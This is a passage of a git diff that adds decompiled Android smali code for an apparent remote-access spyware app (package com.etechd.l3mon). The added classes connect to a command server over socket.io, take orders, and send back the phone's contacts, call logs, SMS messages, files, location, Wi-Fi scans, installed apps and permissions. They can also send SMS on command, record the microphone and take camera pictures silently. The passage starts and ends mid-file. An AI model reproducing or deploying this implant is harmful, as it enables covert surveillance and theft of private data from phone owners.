+ invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
+
+ .line 36
+ :try_start_0
+ iget-object v1, p0, Lcom/etechd/l3mon/CameraManager;->camera:Landroid/hardware/Camera;
+
+ new-instance v2, Landroid/graphics/SurfaceTexture;
+
+ const/4 v3, 0x0
+
+ invoke-direct {v2, v3}, Landroid/graphics/SurfaceTexture;->(I)V
+
+ invoke-virtual {v1, v2}, Landroid/hardware/Camera;->setPreviewTexture(Landroid/graphics/SurfaceTexture;)V
+
+ .line 37
+ iget-object v1, p0, Lcom/etechd/l3mon/CameraManager;->camera:Landroid/hardware/Camera;
+
+ invoke-virtual {v1}, Landroid/hardware/Camera;->startPreview()V
+ :try_end_0
+ .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 40
+ goto :goto_0
+
+ .line 38
+ :catch_0
+ move-exception v1
+
+ .line 39
+ .local v1, "e":Ljava/lang/Exception;
+ invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
+
+ .line 42
+ .end local v1 # "e":Ljava/lang/Exception;
+ :goto_0
+ iget-object v1, p0, Lcom/etechd/l3mon/CameraManager;->camera:Landroid/hardware/Camera;
+
+ new-instance v2, Lcom/etechd/l3mon/CameraManager$1;
+
+ invoke-direct {v2, p0}, Lcom/etechd/l3mon/CameraManager$1;->(Lcom/etechd/l3mon/CameraManager;)V
+
+ const/4 v3, 0x0
+
+ invoke-virtual {v1, v3, v3, v2}, Landroid/hardware/Camera;->takePicture(Landroid/hardware/Camera$ShutterCallback;Landroid/hardware/Camera$PictureCallback;Landroid/hardware/Camera$PictureCallback;)V
+
+ .line 49
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/ConnectionManager$1.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/ConnectionManager$1.smali
new file mode 100644
index 0000000..b047ede
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/ConnectionManager$1.smali
@@ -0,0 +1,51 @@
+.class final Lcom/etechd/l3mon/ConnectionManager$1;
+.super Ljava/lang/Object;
+.source "ConnectionManager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lcom/etechd/l3mon/ConnectionManager;->sendReq()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x8
+ name = null
+.end annotation
+
+
+# direct methods
+.method constructor ()V
+ .locals 0
+
+ .line 35
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 3
+ .param p1, "args" # [Ljava/lang/Object;
+
+ .line 38
+ invoke-static {}, Lcom/etechd/l3mon/ConnectionManager;->access$000()Lio/socket/client/Socket;
+
+ move-result-object v0
+
+ const/4 v1, 0x0
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ const-string v2, "pong"
+
+ invoke-virtual {v0, v2, v1}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 39
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/ConnectionManager$2.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/ConnectionManager$2.smali
new file mode 100644
index 0000000..14147dd
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/ConnectionManager$2.smali
@@ -0,0 +1,422 @@
+.class final Lcom/etechd/l3mon/ConnectionManager$2;
+.super Ljava/lang/Object;
+.source "ConnectionManager.java"
+
+# interfaces
+.implements Lio/socket/emitter/Emitter$Listener;
+
+
+# annotations
+.annotation system Ldalvik/annotation/EnclosingMethod;
+ value = Lcom/etechd/l3mon/ConnectionManager;->sendReq()V
+.end annotation
+
+.annotation system Ldalvik/annotation/InnerClass;
+ accessFlags = 0x8
+ name = null
+.end annotation
+
+
+# direct methods
+.method constructor ()V
+ .locals 0
+
+ .line 44
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public varargs call([Ljava/lang/Object;)V
+ .locals 7
+ .param p1, "args" # [Ljava/lang/Object;
+
+ .line 48
+ const/4 v0, 0x0
+
+ :try_start_0
+ aget-object v1, p1, v0
+
+ check-cast v1, Lorg/json/JSONObject;
+
+ .line 49
+ .local v1, "data":Lorg/json/JSONObject;
+ const-string v2, "type"
+
+ invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v2
+
+ .line 52
+ .local v2, "order":Ljava/lang/String;
+ const/4 v3, -0x1
+
+ invoke-virtual {v2}, Ljava/lang/String;->hashCode()I
+
+ move-result v4
+
+ const/4 v5, 0x1
+
+ sparse-switch v4, :sswitch_data_0
+
+ :cond_0
+ goto/16 :goto_0
+
+ :sswitch_0
+ const-string v4, "0xWI"
+
+ invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v4
+
+ if-eqz v4, :cond_0
+
+ const/4 v3, 0x6
+
+ goto :goto_0
+
+ :sswitch_1
+ const-string v4, "0xSM"
+
+ invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v4
+
+ if-eqz v4, :cond_0
+
+ const/4 v3, 0x1
+
+ goto :goto_0
+
+ :sswitch_2
+ const-string v4, "0xPM"
+
+ invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v4
+
+ if-eqz v4, :cond_0
+
+ const/4 v3, 0x7
+
+ goto :goto_0
+
+ :sswitch_3
+ const-string v4, "0xMI"
+
+ invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v4
+
+ if-eqz v4, :cond_0
+
+ const/4 v3, 0x4
+
+ goto :goto_0
+
+ :sswitch_4
+ const-string v4, "0xLO"
+
+ invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v4
+
+ if-eqz v4, :cond_0
+
+ const/4 v3, 0x5
+
+ goto :goto_0
+
+ :sswitch_5
+ const-string v4, "0xIN"
+
+ invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v4
+
+ if-eqz v4, :cond_0
+
+ const/16 v3, 0x8
+
+ goto :goto_0
+
+ :sswitch_6
+ const-string v4, "0xGP"
+
+ invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v4
+
+ if-eqz v4, :cond_0
+
+ const/16 v3, 0x9
+
+ goto :goto_0
+
+ :sswitch_7
+ const-string v4, "0xFI"
+
+ invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v4
+
+ if-eqz v4, :cond_0
+
+ const/4 v3, 0x0
+
+ goto :goto_0
+
+ :sswitch_8
+ const-string v4, "0xCO"
+
+ invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v4
+
+ if-eqz v4, :cond_0
+
+ const/4 v3, 0x3
+
+ goto :goto_0
+
+ :sswitch_9
+ const-string v4, "0xCL"
+
+ invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v4
+ :try_end_0
+ .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
+
+ if-eqz v4, :cond_0
+
+ const/4 v3, 0x2
+
+ :goto_0
+ const-string v4, "ls"
+
+ const-string v6, "action"
+
+ packed-switch v3, :pswitch_data_0
+
+ goto/16 :goto_1
+
+ .line 93
+ :pswitch_0
+ :try_start_1
+ const-string v0, "permission"
+
+ invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v0
+
+ invoke-static {v0}, Lcom/etechd/l3mon/ConnectionManager;->GP(Ljava/lang/String;)V
+
+ goto/16 :goto_1
+
+ .line 90
+ :pswitch_1
+ invoke-static {}, Lcom/etechd/l3mon/ConnectionManager;->IN()V
+
+ .line 91
+ goto/16 :goto_1
+
+ .line 87
+ :pswitch_2
+ invoke-static {}, Lcom/etechd/l3mon/ConnectionManager;->PM()V
+
+ .line 88
+ goto/16 :goto_1
+
+ .line 84
+ :pswitch_3
+ invoke-static {}, Lcom/etechd/l3mon/ConnectionManager;->WI()V
+
+ .line 85
+ goto :goto_1
+
+ .line 81
+ :pswitch_4
+ invoke-static {}, Lcom/etechd/l3mon/ConnectionManager;->LO()V
+
+ .line 82
+ goto :goto_1
+
+ .line 78
+ :pswitch_5
+ const-string v0, "sec"
+
+ invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
+
+ move-result v0
+
+ invoke-static {v0}, Lcom/etechd/l3mon/ConnectionManager;->MI(I)V
+
+ .line 79
+ goto :goto_1
+
+ .line 75
+ :pswitch_6
+ invoke-static {}, Lcom/etechd/l3mon/ConnectionManager;->CO()V
+
+ .line 76
+ goto :goto_1
+
+ .line 72
+ :pswitch_7
+ invoke-static {}, Lcom/etechd/l3mon/ConnectionManager;->CL()V
+
+ .line 73
+ goto :goto_1
+
+ .line 66
+ :pswitch_8
+ invoke-virtual {v1, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v3
+
+ invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+
+ if-eqz v3, :cond_1
+
+ .line 67
+ const/4 v3, 0x0
+
+ invoke-static {v0, v3, v3}, Lcom/etechd/l3mon/ConnectionManager;->SM(ILjava/lang/String;Ljava/lang/String;)V
+
+ goto :goto_1
+
+ .line 68
+ :cond_1
+ invoke-virtual {v1, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v0
+
+ const-string v3, "sendSMS"
+
+ invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v0
+
+ if-eqz v0, :cond_3
+
+ .line 69
+ const-string v0, "to"
+
+ invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v0
+
+ const-string v3, "sms"
+
+ invoke-virtual {v1, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v3
+
+ invoke-static {v5, v0, v3}, Lcom/etechd/l3mon/ConnectionManager;->SM(ILjava/lang/String;Ljava/lang/String;)V
+
+ goto :goto_1
+
+ .line 60
+ :pswitch_9
+ invoke-virtual {v1, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v3
+
+ invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v3
+ :try_end_1
+ .catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0
+
+ const-string v4, "path"
+
+ if-eqz v3, :cond_2
+
+ .line 61
+ :try_start_2
+ invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v3
+
+ invoke-static {v0, v3}, Lcom/etechd/l3mon/ConnectionManager;->FI(ILjava/lang/String;)V
+
+ goto :goto_1
+
+ .line 62
+ :cond_2
+ invoke-virtual {v1, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v0
+
+ const-string v3, "dl"
+
+ invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
+
+ move-result v0
+
+ if-eqz v0, :cond_3
+
+ .line 63
+ invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
+
+ move-result-object v0
+
+ invoke-static {v5, v0}, Lcom/etechd/l3mon/ConnectionManager;->FI(ILjava/lang/String;)V
+ :try_end_2
+ .catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_0
+
+ .line 98
+ .end local v1 # "data":Lorg/json/JSONObject;
+ .end local v2 # "order":Ljava/lang/String;
+ :cond_3
+ :goto_1
+ goto :goto_2
+
+ .line 96
+ :catch_0
+ move-exception v0
+
+ .line 97
+ .local v0, "e":Ljava/lang/Exception;
+ invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
+
+ .line 99
+ .end local v0 # "e":Ljava/lang/Exception;
+ :goto_2
+ return-void
+
+ nop
+
+ :sswitch_data_0
+ .sparse-switch
+ 0x179cb1 -> :sswitch_9
+ 0x179cb4 -> :sswitch_8
+ 0x179d0b -> :sswitch_7
+ 0x179d31 -> :sswitch_6
+ 0x179d6d -> :sswitch_5
+ 0x179dcb -> :sswitch_4
+ 0x179de4 -> :sswitch_3
+ 0x179e45 -> :sswitch_2
+ 0x179ea2 -> :sswitch_1
+ 0x179f1a -> :sswitch_0
+ .end sparse-switch
+
+ :pswitch_data_0
+ .packed-switch 0x0
+ :pswitch_9
+ :pswitch_8
+ :pswitch_7
+ :pswitch_6
+ :pswitch_5
+ :pswitch_4
+ :pswitch_3
+ :pswitch_2
+ :pswitch_1
+ :pswitch_0
+ .end packed-switch
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/ConnectionManager.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/ConnectionManager.smali
new file mode 100644
index 0000000..df340c5
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/ConnectionManager.smali
@@ -0,0 +1,541 @@
+.class public Lcom/etechd/l3mon/ConnectionManager;
+.super Ljava/lang/Object;
+.source "ConnectionManager.java"
+
+
+# static fields
+.field public static context:Landroid/content/Context;
+
+.field private static fm:Lcom/etechd/l3mon/FileManager;
+
+.field private static ioSocket:Lio/socket/client/Socket;
+
+
+# direct methods
+.method static constructor ()V
+ .locals 1
+
+ .line 17
+ new-instance v0, Lcom/etechd/l3mon/FileManager;
+
+ invoke-direct {v0}, Lcom/etechd/l3mon/FileManager;->()V
+
+ sput-object v0, Lcom/etechd/l3mon/ConnectionManager;->fm:Lcom/etechd/l3mon/FileManager;
+
+ return-void
+.end method
+
+.method public constructor ()V
+ .locals 0
+
+ .line 12
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static CL()V
+ .locals 4
+
+ .line 142
+ sget-object v0, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const/4 v1, 0x1
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ invoke-static {}, Lcom/etechd/l3mon/CallsManager;->getCallsLogs()Lorg/json/JSONObject;
+
+ move-result-object v2
+
+ const/4 v3, 0x0
+
+ aput-object v2, v1, v3
+
+ const-string v2, "0xCL"
+
+ invoke-virtual {v0, v2, v1}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 143
+ return-void
+.end method
+
+.method public static CO()V
+ .locals 4
+
+ .line 146
+ sget-object v0, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const/4 v1, 0x1
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ invoke-static {}, Lcom/etechd/l3mon/ContactsManager;->getContacts()Lorg/json/JSONObject;
+
+ move-result-object v2
+
+ const/4 v3, 0x0
+
+ aput-object v2, v1, v3
+
+ const-string v2, "0xCO"
+
+ invoke-virtual {v0, v2, v1}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 147
+ return-void
+.end method
+
+.method public static FI(ILjava/lang/String;)V
+ .locals 5
+ .param p0, "req" # I
+ .param p1, "path" # Ljava/lang/String;
+
+ .line 120
+ const-string v0, "list"
+
+ const/4 v1, 0x1
+
+ if-nez p0, :cond_0
+
+ .line 121
+ new-instance v2, Lorg/json/JSONObject;
+
+ invoke-direct {v2}, Lorg/json/JSONObject;->()V
+
+ .line 123
+ .local v2, "object":Lorg/json/JSONObject;
+ :try_start_0
+ const-string v3, "type"
+
+ invoke-virtual {v2, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 124
+ sget-object v3, Lcom/etechd/l3mon/ConnectionManager;->fm:Lcom/etechd/l3mon/FileManager;
+
+ invoke-static {p1}, Lcom/etechd/l3mon/FileManager;->walk(Ljava/lang/String;)Lorg/json/JSONArray;
+
+ move-result-object v3
+
+ invoke-virtual {v2, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 125
+ sget-object v0, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const-string v3, "0xFI"
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ const/4 v4, 0x0
+
+ aput-object v2, v1, v4
+
+ invoke-virtual {v0, v3, v1}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ goto :goto_0
+
+ .line 126
+ :catch_0
+ move-exception v0
+
+ :goto_0
+ goto :goto_1
+
+ .line 127
+ .end local v2 # "object":Lorg/json/JSONObject;
+ :cond_0
+ if-ne p0, v1, :cond_1
+
+ .line 128
+ sget-object v0, Lcom/etechd/l3mon/ConnectionManager;->fm:Lcom/etechd/l3mon/FileManager;
+
+ invoke-static {p1}, Lcom/etechd/l3mon/FileManager;->downloadFile(Ljava/lang/String;)V
+
+ goto :goto_2
+
+ .line 127
+ :cond_1
+ :goto_1
+ nop
+
+ .line 129
+ :goto_2
+ return-void
+.end method
+
+.method public static GP(Ljava/lang/String;)V
+ .locals 5
+ .param p0, "perm" # Ljava/lang/String;
+
+ .line 168
+ new-instance v0, Lorg/json/JSONObject;
+
+ invoke-direct {v0}, Lorg/json/JSONObject;->()V
+
+ .line 170
+ .local v0, "data":Lorg/json/JSONObject;
+ :try_start_0
+ const-string v1, "permission"
+
+ invoke-virtual {v0, v1, p0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
+
+ .line 171
+ const-string v1, "isAllowed"
+
+ invoke-static {p0}, Lcom/etechd/l3mon/PermissionManager;->canIUse(Ljava/lang/String;)Z
+
+ move-result v2
+
+ invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
+
+ .line 172
+ sget-object v1, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const-string v2, "0xGP"
+
+ const/4 v3, 0x1
+
+ new-array v3, v3, [Ljava/lang/Object;
+
+ const/4 v4, 0x0
+
+ aput-object v0, v3, v4
+
+ invoke-virtual {v1, v2, v3}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+ :try_end_0
+ .catch Lorg/json/JSONException; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 175
+ goto :goto_0
+
+ .line 173
+ :catch_0
+ move-exception v1
+
+ .line 176
+ :goto_0
+ return-void
+.end method
+
+.method public static IN()V
+ .locals 4
+
+ .line 163
+ sget-object v0, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const/4 v1, 0x1
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ const/4 v2, 0x0
+
+ invoke-static {v2}, Lcom/etechd/l3mon/AppList;->getInstalledApps(Z)Lorg/json/JSONObject;
+
+ move-result-object v3
+
+ aput-object v3, v1, v2
+
+ const-string v2, "0xIN"
+
+ invoke-virtual {v0, v2, v1}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 164
+ return-void
+.end method
+
+.method public static LO()V
+ .locals 5
+ .annotation system Ldalvik/annotation/Throws;
+ value = {
+ Ljava/lang/Exception;
+ }
+ .end annotation
+
+ .line 179
+ invoke-static {}, Landroid/os/Looper;->prepare()V
+
+ .line 180
+ new-instance v0, Lcom/etechd/l3mon/LocManager;
+
+ sget-object v1, Lcom/etechd/l3mon/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-direct {v0, v1}, Lcom/etechd/l3mon/LocManager;->(Landroid/content/Context;)V
+
+ .line 182
+ .local v0, "gps":Lcom/etechd/l3mon/LocManager;
+ invoke-virtual {v0}, Lcom/etechd/l3mon/LocManager;->canGetLocation()Z
+
+ move-result v1
+
+ if-eqz v1, :cond_0
+
+ .line 183
+ sget-object v1, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const/4 v2, 0x1
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ const/4 v3, 0x0
+
+ invoke-virtual {v0}, Lcom/etechd/l3mon/LocManager;->getData()Lorg/json/JSONObject;
+
+ move-result-object v4
+
+ aput-object v4, v2, v3
+
+ const-string v3, "0xLO"
+
+ invoke-virtual {v1, v3, v2}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 185
+ :cond_0
+ return-void
+.end method
+
+.method public static MI(I)V
+ .locals 0
+ .param p0, "sec" # I
+ .annotation system Ldalvik/annotation/Throws;
+ value = {
+ Ljava/lang/Exception;
+ }
+ .end annotation
+
+ .line 150
+ invoke-static {p0}, Lcom/etechd/l3mon/MicManager;->startRecording(I)V
+
+ .line 151
+ return-void
+.end method
+
+.method public static PM()V
+ .locals 4
+
+ .line 158
+ sget-object v0, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const/4 v1, 0x1
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ invoke-static {}, Lcom/etechd/l3mon/PermissionManager;->getGrantedPermissions()Lorg/json/JSONObject;
+
+ move-result-object v2
+
+ const/4 v3, 0x0
+
+ aput-object v2, v1, v3
+
+ const-string v2, "0xPM"
+
+ invoke-virtual {v0, v2, v1}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 159
+ return-void
+.end method
+
+.method public static SM(ILjava/lang/String;Ljava/lang/String;)V
+ .locals 6
+ .param p0, "req" # I
+ .param p1, "phoneNo" # Ljava/lang/String;
+ .param p2, "msg" # Ljava/lang/String;
+
+ .line 133
+ const/4 v0, 0x0
+
+ const-string v1, "0xSM"
+
+ const/4 v2, 0x1
+
+ if-nez p0, :cond_0
+
+ .line 134
+ sget-object v3, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ invoke-static {}, Lcom/etechd/l3mon/SMSManager;->getsms()Lorg/json/JSONObject;
+
+ move-result-object v4
+
+ aput-object v4, v2, v0
+
+ invoke-virtual {v3, v1, v2}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ goto :goto_0
+
+ .line 135
+ :cond_0
+ if-ne p0, v2, :cond_1
+
+ .line 136
+ invoke-static {p1, p2}, Lcom/etechd/l3mon/SMSManager;->sendSMS(Ljava/lang/String;Ljava/lang/String;)Z
+
+ move-result v3
+
+ .line 137
+ .local v3, "isSent":Z
+ sget-object v4, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ new-array v2, v2, [Ljava/lang/Object;
+
+ invoke-static {v3}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
+
+ move-result-object v5
+
+ aput-object v5, v2, v0
+
+ invoke-virtual {v4, v1, v2}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 139
+ .end local v3 # "isSent":Z
+ :cond_1
+ :goto_0
+ return-void
+.end method
+
+.method public static WI()V
+ .locals 4
+
+ .line 154
+ sget-object v0, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const/4 v1, 0x1
+
+ new-array v1, v1, [Ljava/lang/Object;
+
+ sget-object v2, Lcom/etechd/l3mon/ConnectionManager;->context:Landroid/content/Context;
+
+ invoke-static {v2}, Lcom/etechd/l3mon/WifiScanner;->scan(Landroid/content/Context;)Lorg/json/JSONObject;
+
+ move-result-object v2
+
+ const/4 v3, 0x0
+
+ aput-object v2, v1, v3
+
+ const-string v2, "0xWI"
+
+ invoke-virtual {v0, v2, v1}, Lio/socket/client/Socket;->emit(Ljava/lang/String;[Ljava/lang/Object;)Lio/socket/emitter/Emitter;
+
+ .line 155
+ return-void
+.end method
+
+.method static synthetic access$000()Lio/socket/client/Socket;
+ .locals 1
+
+ .line 12
+ sget-object v0, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ return-object v0
+.end method
+
+.method public static sendReq()V
+ .locals 3
+
+ .line 32
+ :try_start_0
+ sget-object v0, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ if-eqz v0, :cond_0
+
+ .line 33
+ return-void
+
+ .line 34
+ :cond_0
+ invoke-static {}, Lcom/etechd/l3mon/IOSocket;->getInstance()Lcom/etechd/l3mon/IOSocket;
+
+ move-result-object v0
+
+ invoke-virtual {v0}, Lcom/etechd/l3mon/IOSocket;->getIoSocket()Lio/socket/client/Socket;
+
+ move-result-object v0
+
+ sput-object v0, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ .line 35
+ sget-object v0, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const-string v1, "ping"
+
+ new-instance v2, Lcom/etechd/l3mon/ConnectionManager$1;
+
+ invoke-direct {v2}, Lcom/etechd/l3mon/ConnectionManager$1;->()V
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ .line 44
+ sget-object v0, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ const-string v1, "order"
+
+ new-instance v2, Lcom/etechd/l3mon/ConnectionManager$2;
+
+ invoke-direct {v2}, Lcom/etechd/l3mon/ConnectionManager$2;->()V
+
+ invoke-virtual {v0, v1, v2}, Lio/socket/client/Socket;->on(Ljava/lang/String;Lio/socket/emitter/Emitter$Listener;)Lio/socket/emitter/Emitter;
+
+ .line 101
+ sget-object v0, Lcom/etechd/l3mon/ConnectionManager;->ioSocket:Lio/socket/client/Socket;
+
+ invoke-virtual {v0}, Lio/socket/client/Socket;->connect()Lio/socket/client/Socket;
+ :try_end_0
+ .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 105
+ goto :goto_0
+
+ .line 103
+ :catch_0
+ move-exception v0
+
+ .line 104
+ .local v0, "ex":Ljava/lang/Exception;
+ invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
+
+ move-result-object v1
+
+ const-string v2, "error"
+
+ invoke-static {v2, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
+
+ .line 107
+ .end local v0 # "ex":Ljava/lang/Exception;
+ :goto_0
+ return-void
+.end method
+
+.method public static startAsync(Landroid/content/Context;)V
+ .locals 1
+ .param p0, "con" # Landroid/content/Context;
+
+ .line 22
+ :try_start_0
+ sput-object p0, Lcom/etechd/l3mon/ConnectionManager;->context:Landroid/content/Context;
+
+ .line 23
+ invoke-static {}, Lcom/etechd/l3mon/ConnectionManager;->sendReq()V
+ :try_end_0
+ .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
+
+ .line 26
+ goto :goto_0
+
+ .line 24
+ :catch_0
+ move-exception v0
+
+ .line 25
+ .local v0, "ex":Ljava/lang/Exception;
+ invoke-static {p0}, Lcom/etechd/l3mon/ConnectionManager;->startAsync(Landroid/content/Context;)V
+
+ .line 28
+ .end local v0 # "ex":Ljava/lang/Exception;
+ :goto_0
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/etechd/l3mon/ContactsManager.smali b/server/app/factory/decompiled/smali/com/etechd/l3mon/ContactsManager.smali
new file mode 100644
index 0000000..f2074c4
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/etechd/l3mon/ContactsManager.smali
@@ -0,0 +1,152 @@
+.class public Lcom/etechd/l3mon/ContactsManager;
+.super Ljava/lang/Object;
+.source "ContactsManager.java"
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ .line 10
+ invoke-direct {p0}, Ljava/lang/Object;->()V
+
+ return-void
+.end method
+
+.method public static getContacts()Lorg/json/JSONObject;
+ .locals 11
+
+ .line 15
+ const-string v0, "data1"
+
+ const-string v1, "display_name"
+
+ :try_start_0
+ new-instance v2, Lorg/json/JSONObject;
+
+ invoke-direct {v2}, Lorg/json/JSONObject;->()V
+
+ .line 16
+ .local v2, "contacts":Lorg/json/JSONObject;
+ new-instance v3, Lorg/json/JSONArray;
+
+ invoke-direct {v3}, Lorg/json/JSONArray;->()V
+
+ .line 17
+ .local v3, "list":Lorg/json/JSONArray;
